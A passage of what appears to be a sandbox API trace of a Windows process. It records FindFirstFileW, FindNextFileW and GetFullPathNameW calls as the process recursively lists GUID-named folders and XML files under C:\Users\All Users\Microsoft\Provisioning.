hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbde4e9af, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbde4e9af, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbde4e9af, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 0 [0218.500] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0218.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0218.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0218.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0218.501] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning", lpFilePart=0x0) returned 0x29 [0218.501] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0218.502] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.503] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11be8600, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x11be8600, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x11be8600, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x6815, dwReserved0=0x0, dwReserved1=0x0, cFileName="countrytable.xml", cAlternateFileName="")) returned 1 [0218.503] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", cAlternateFileName="{18DCF~1")) returned 1 [0218.503] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0218.503] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0218.503] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe4b6f3a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0218.504] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0268ef, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd0268ef, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd0268ef, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0218.504] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdea603, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdea603, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdea603, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0218.504] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdc44d0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdc44d0, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdc44d0, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0218.504] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdea603, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdea603, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdea603, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0218.504] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd6b510c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd6b510c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd6b510c, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0218.504] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0268ef, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd0268ef, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd0268ef, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0218.504] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcd9e222, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcd9e222, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcd9e222, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0218.505] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdc44d0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdc44d0, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdc44d0, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1 [0218.505] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbdbec4a8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbdbec4a8, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbdbec4a8, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1 [0218.505] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbde4e9af, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbde4e9af, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbde4e9af, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1 [0218.505] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.505] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0218.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0218.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0218.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0218.506] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpFilePart=0x0) returned 0x50 [0218.506] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0218.513] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.514] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0f6b62d, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0f6b62d, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0f6b62d, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0xe90, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0218.514] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eac9f1, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0eac9f1, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0eac9f1, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0218.514] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0218.514] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0218.514] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0218.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0218.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0218.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0218.516] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpFilePart=0x0) returned 0x50 [0218.516] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0218.517] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.517] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0f6b62d, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0f6b62d, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0f6b62d, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0xe90, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0218.517] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eac9f1, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0eac9f1, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0eac9f1, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0218.517] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0218.518] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.518] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0218.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0218.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0218.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0218.519] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", lpFilePart=0x0) returned 0x55 [0218.519] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0218.521] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.521] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0218.521] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e60513, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e60513, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0eac9f1, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0218.521] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.521] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0218.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0218.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0218.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0218.522] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", lpFilePart=0x0) returned 0x55 [0218.522] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0218.522] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, 